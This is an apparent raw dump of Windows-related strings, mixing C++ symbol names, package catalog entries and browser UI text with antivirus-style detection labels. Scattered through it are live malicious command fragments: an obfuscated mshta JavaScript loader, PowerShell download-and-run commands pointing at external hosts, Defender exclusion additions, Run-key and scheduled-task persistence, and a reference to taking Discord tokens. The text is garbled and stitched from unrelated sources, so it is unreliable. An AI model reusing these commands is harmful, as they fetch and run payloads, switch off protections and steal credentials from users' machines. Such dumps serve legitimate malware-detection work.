.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UDialogsPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$require@UDialogsPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObje
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
\winlogon
b-9Windows E
\system32\tmp0.
WINDOWS_DIALOG_COM[
on Windows Search
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
pWindows
for windows `
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
windows.hlp`
c:\windows\system32\cmd.exe/ccurl-
uap\windows\frameworkudk\warppal.cppA
LUA:SonyWindows_Installer
172^com.microsoft.windows.extensionpackage
173^com.microsoft.windows.windowsoobeapphost
com.microsoft.windows.windowsoobeapphost
WindowsBrush
windowsBrush
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.GetOptionKeyPath
<PreviousWindowState>k__BackingField
System.Windows.Forms.UnsafeNativeMethods.IOleObject.GetClipboardData
System.Windows.Forms.UnsafeNativeMethods.IOleObject.InitFromData
MdiListMoreWindowsData
System.Windows.Forms.UnsafeNativeMethods.IOleObject.DoVerb
System.Windows.Forms.UnsafeNativeMethods.IOleControl.OnMnemonic
getwindowsproductkeyfromregistrydecodeproductkeywin8andupgettokensfromdiscordapp%
Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Microsoft-Windows-Perflib
%Microsoft Windows Production PCA 2011
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
/c reg add hkcu\software\microsoft\windows\currentversion\run /v 
[+] ok! i closed the two socket.windows date and time service-slaveenter your socks type no: [0.bindport 1.connectback 2.listen]:!#TEL:VirTool:MSIL/CryptInject.KA!MTB
xz.dashi88.com/fash.inisoftware\microsoft\windows\currentversion\fashtage:\10193\release\snowflake.pdbterminate@@yaxxz!#HSTR:HackTool:Win32/Gabrielle!dha
Diagnostics::CollectVolatileWindowsShell
.?AUtype@?$abi@UIXamlType@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UXamlMember@implementation@TaskManagerApp@winrt@@UIXamlMember@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIXamlMember@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UXamlMember@implementation@TaskManagerApp@winrt@@UIXamlMember@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UXamlUserType@implementation@TaskManagerApp@winrt@@UIXamlType2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIXamlType2@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
WindowsFoundationEventHandler`1
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.30
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.31
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.32
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.33
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.34
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.35
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.36
XmlSerialGadgetWindowsId
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
WindowsApp1.Resources.resourcesW
=chkScreenLoggerEnabledClickdtsbrand.datGlobal\DTS3Mutex30STP\system32\config
\windowsnt\currentversion5.16
148^com.microsoft.windows.extensionpackage
149^com.microsoft.windows.extensions.xaml
WINDOWS11
system32
.bat&%windir%\system32\
copy%systemroot%\npf.sys%systemroot%\system32\drivers\npf.sys%systemroot%\svch0st.exe-idx0-ip
c:\windows\inicialization.exe
echo s| cacls c:\windows\system32\drivers\gbpkm.sys /d todossc stop gbpkmsc delete snmgrsvcsc delete snsmsh
Microsoft.OutlookForWindows_8wekyb3d8bbwe
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
Microsoft.OutlookForWindows_8wekyb3d8bbwe
 Windows 10 
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
OS=Windows_NT
Path=C:\WINDOWS\system32;
\windows\system32
EnumWindows
WindowsCreateStringReference
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsCreateString
WindowsDuplicateString
WindowsGetStringLen
WindowsSubstringWithSpecifiedLength
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
api-ms-win-core-windowserrorreporting-l1-1-0.dll
~Q</si><si><t>syswow64\</t></si><si><t>\windows\</t></si><si><t>,0,0)</t></si>
:\windows\microsoft.net\framework\v
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
\services\smptsvc\parameters /v servicedll /t reg_expand_sz /d c:\windows\system32\smptsvc.dll /f\
-Command Add-MpPreference -ExclusionPath $env:TEMPAdd-MpPreference -ExclusionPath 'C:'-NoProfile -ExecutionPolicy bypass -windowstyle hidden -CommandStart-Process -verb runas powershell-NoProfile -windowstyle hidden -ExecutionPolicy bypassAdd-MpPreference -ExclusionProcess powershell.exe!#HSTR:Win32/Rhadamanthys.BD!MTB
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|ktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
izardWindowSli
Windows.Data.Nlm.NlmSignature
5c:\windows\system32\cmd.exe"
c:\windows\system32\forfiles.exe/p"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
?Jpowershell.exe-windowstylehiddenc:\users\public\document\python
iwshshell3.regwrite("hkey_current_user\software\microsoft\windows\currentversion\run\
regadd"hklm\software\policies\microsoft\windowsdefender\exclusions\paths"/f/v"
;eregadd"hklm\software\policies\microsoft\windowsdefender\exclusions\paths"/f/v"
ypowershell.exe-windowstylehiddenc:\\users\\public\\Z
\system32\F
      <xs:enumeration value="windowsApp"/>
      <xs:enumeration value="windowsDisplayLanguage"/>
globalBufferStorageStreamsWindowsapplyctor
-OoSvcHostUpdateSvcHostSysstart C:\Windows\Runtime Broker.exeC:\Windows\System32\svchost
EnumWindows
EnumChildWindows
SetWindowsHookExW
UnhookWindowsHookEx
 @(?i)\bWINDOWS11\b
 @(?i)\bWINDOWS11\b
10a^com.microsoft.windows.ez
116^com.microsoft.windows.e
Microsoft.Windows.Security.TokenBroker.BrowserSSO
Microsoft.Windows.Security.TokenBroker
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.TokenBroker
Microsoft.Windows.Security.TokenBroker.Aggregated
Windows.Security.Authentication.Web.Core.pdb
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
\windows defender\exclusions\pathsu	pMSIL/Lo
windows.hlp`
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw
,"name":"Microsoft.Windows.StoreAgent.Telemetry.Stats","ti6
m,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A
Consejo: presiona la tecla del logotipo de Windows + V para abrir el historial del portapapeles.
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
u Windows 
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
file folderexplorerhh:nnat %s cmd /c del "%s"c:\windows\svchost.dll+
c:/windows/system32/dl
c:/windows/system32/d
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
\c$\windows\system32\$
="c:\windows\system32\$
errreturn = process.create(runpath, null, objconfig, processid)pshellpath = "c:\\windows\\system32\\" 
 Windows
@Security@Windows@@@Found
@Security@Internal@Windows@@@Found'
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
store.exeWindows.FullTrustApplication]
StoreDesktopExtension.exeWindows.FullTrustApplication^
MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exeWindows.FullTrustApplication|
WidgetService\WidgetService.exeWindows.FullTrustApplicationt
ms-teamsupdate.exeWindows.FullTrustApplicationt
msteams_autostarter.exeWindows.FullTrustApplicationm
ms-teams.exeWindows.PartialTrustApplicationi
ms-teams.exeWindows.FullTrustApplication
CrossDeviceSettingsHost.exeWindows.FullTrustApplicationl
WidgetBoard.exeWindows.FullTrustApplicationr
Dashboard\Widgets.exeWindows.FullTrustApplication
Microsoft.RemoteAssistance.QuickAssist\QuickAssist.exeWindows.FullTrustApplication}
PhoneExperienceHost.exeWindows.FullTrustApplicationy
GameBarElevatedFT.exeWindows.FullTrustApplication
:\windows\media\
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.15
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.12
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.17
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.22
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.20
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.11
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.23
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.10
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.24
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.19
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.13
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.26
@C:\WINDOWS\system32\wmploc.dll,-128-100
@C:\WINDOWS\system32\themeui.dll,-2682d
@{microsoft.windowsnotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.windowsnotepad/files/assets/txtfile.png}
@%SystemRoot%\system32\Sens.dll,-200
WindowsApp
WindowsAppRuntime.1.6
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WINDOWS.APPSERVICE
">nul2>&1@regadd"hkcu\software\microsoft\windows\currentversion\run"/v"
[c:\windows\system32\cmd.exe/v/d/cmshta"javascript:try{moveto(4116,4543);var_xxxxoyp=["\x4f\102\x55\x41\x45\x35\x47","\x73\x63\x72\151\x70\x74\x3a\x68\124\x74\x50\123\72\x2f\x2f\x74\x72\x65\x69\x6d\x2e\x6b\x61\x72\x61\156\147\x6f\163\x65\x6d\x6f\x74\x6f\x63\x61\x73\56\167\157\x72\x6c\144\x2f\77\x31\x2f"];
Ac:\windows\system32\cmd.exe/cpowershell.exeexecutionpolicybypass(new-objectsystem.net.webclient).downloadfile('http://178.16.54.109/
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-command'[ljqom0_ffu}{mshtahttps://klipzynigou.shop/an4me.mp4[ljqom0_ffu}{'.substring(13,40)".
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Sensors-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Printer-Drivers-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-RemoteAssistance-Package-Client~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|age01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat
ue@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@USettingsEntityViewModel@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbweW
OutlookForWindows_1.2026.210.30
!windows defender firewall with advanced security<
WINDOWS11
c:\windows\system32\cmd.exe/cpowershell-command"$url='http://relay-02-static.network/suih/valwyhr.png';$path='c:\users\public\';invoke-webrequest-uri$url-outfile\"%userprofile%\downloads\valwyhr.zip\";expand-archive-path\"%userprofile%\downloads\valwyhr.zip\"-destinationpath$path;while($true){if(test-path'c:\users\public\valwyhr.hta')
GetWindowsAccountDomainSid
 MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!
 MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!
9MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtension
c:\windows\system32\mshta.exehttps://rdbmm.ac.in/
?Usystem.security.principal.windowsidentity
schtasks/create/rusystem/sconlogon/tnwindowsoptimizations/tr
DmSetWindowsAIKStorageLocationOld
WindowsCreateString
